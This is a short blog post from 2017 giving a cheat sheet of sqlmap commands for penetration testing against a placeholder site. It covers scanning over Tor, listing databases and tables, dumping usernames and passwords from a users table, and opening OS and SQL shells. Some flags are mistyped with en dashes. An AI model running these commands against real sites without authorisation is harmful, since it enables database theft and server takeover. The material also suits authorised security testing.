SQLMAP Cheat Sheet
Kicking off 2017 I thought I would share a simple set of handy sqlmap commands to help you with your penetration testing activities. If this proves popular feel free to show the post some love and I'll compile a full tutorial on testing a php site with sqlmap.
Cheat Sheet
Easy Scanning option
sqlmap -u "http://testsite.com/login.php"
Scanning by using tor
sqlmap -u "http://testsite.com/login.php" --tor --tor-type=SOCKS5
Scanning by manually setting the return time
sqlmap -u "http://testsite.com/login.php" --time-sec 15
List all databases at the site
sqlmap -u "http://testsite.com/login.php" --dbs
List all tables in a specific database
sqlmap -u "http://testsite.com/login.php" -D site_db --tables
Dump the contents of a DB table
sqlmap -u "http://testsite.com/login.php" -D site_db -T users –dump
List all columns in a table
sqlmap -u "http://testsite.com/login.php" -D site_db -T users --columns
Dump only selected columns
sqlmap -u "http://testsite.com/login.php" -D site_db -T users -C username,password --dump
Dump a table from a database when you have admin credentials
sqlmap -u "http://testsite.com/login.php" –method "POST" –data "username=admin&password=admin&submit=Submit" -D social_mccodes -T users –dump
Get OS Shell
sqlmap --dbms=mysql -u "http://testsite.com/login.php" --os-shell
Get SQL Shell
sqlmap --dbms=mysql -u "http://testsite.com/login.php" --sql-shell
The ultimate manual for sqlmap can also be found here
Conclusion
As always I hope you found this tutorial useful Please let em know if you want to see a comprehensive sqlmap tutorial.














